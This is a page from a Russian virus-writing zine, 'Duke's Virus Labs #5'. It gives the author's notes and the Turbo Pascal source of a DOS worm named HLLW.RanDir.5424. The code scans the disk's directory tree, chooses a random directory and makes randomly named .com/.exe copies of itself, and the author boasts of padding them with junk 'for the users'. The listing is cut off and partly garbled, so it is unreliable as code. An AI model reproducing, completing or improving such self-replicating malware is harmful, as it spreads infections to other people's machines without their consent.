- [Duke's Virus Labs #5] - [Page 04] - HLLW.RanDir.5424 (c) by Duke/SMF Имя вируса : HLLW.RanDir.5424 Автор : Duke/SMF Язык прогр. : Turbo Pascal 7.0 Дата создания : 04.02.99 Поскольку использование стека является недостатком вируса HLLW.RanDir.5584, в очередной версии я решил от него избавиться. И избавился! Да еще добавил дозапись мусора в конец - ну, это для юзеров :) ===== Cut here ===== {$I-,S-} program Virus_RandomDir_2; uses dos; const VirLen=5424; var Kol, {кол-во директорий на диске} K,M:integer; NewName, {имя создаваемого червя} Disk, {текущий диск} P:string; {найденная директория} {---------------------------------------------------------------------------} procedure ScanTree(Dir:string); var N:searchrec; begin Kol:=Kol+1; {искать другие (вложенные) директории:} if Dir[length(Dir)]<>'\'then Dir:=Dir+'\'; findfirst(Dir+'*.*',$3F,N); while doserror=0 do begin with N do if (Attr and 16<>0) and (Name[1]<>'.') {нашли директорию} then ScanTree(Dir+Name); findnext(N); end; end; {---------------------------------------------------------------------------} procedure MakeRandomName; {создать случайное имя} var i,d:byte; begin d:=random(8)+1; NewName:='[HLLW.RanDir-2 (c) by Duke/SMF]'; {мои копирайты ;)} NewName:=''; for i:=1 to d do NewName:=NewName+chr(random(26)+97); d:=random(255); if d div 2 = d/2 then NewName:=NewName+'.com' else NewName:=NewName+'.exe'; end; {---------------------------------------------------------------------------} procedure FindDir(Dir:string); {искать нужную директорию} var N:searchrec; begin M:=M+1; if M=K then P:=Dir; if M'\'then Dir:=Dir+'\'; findfirst(Dir+'*.*',$3F,N); while doserror=0 do begin with N do if (Attr and 16<>0) and (Name[1]<>'.') then FindDir(Dir+Name); if M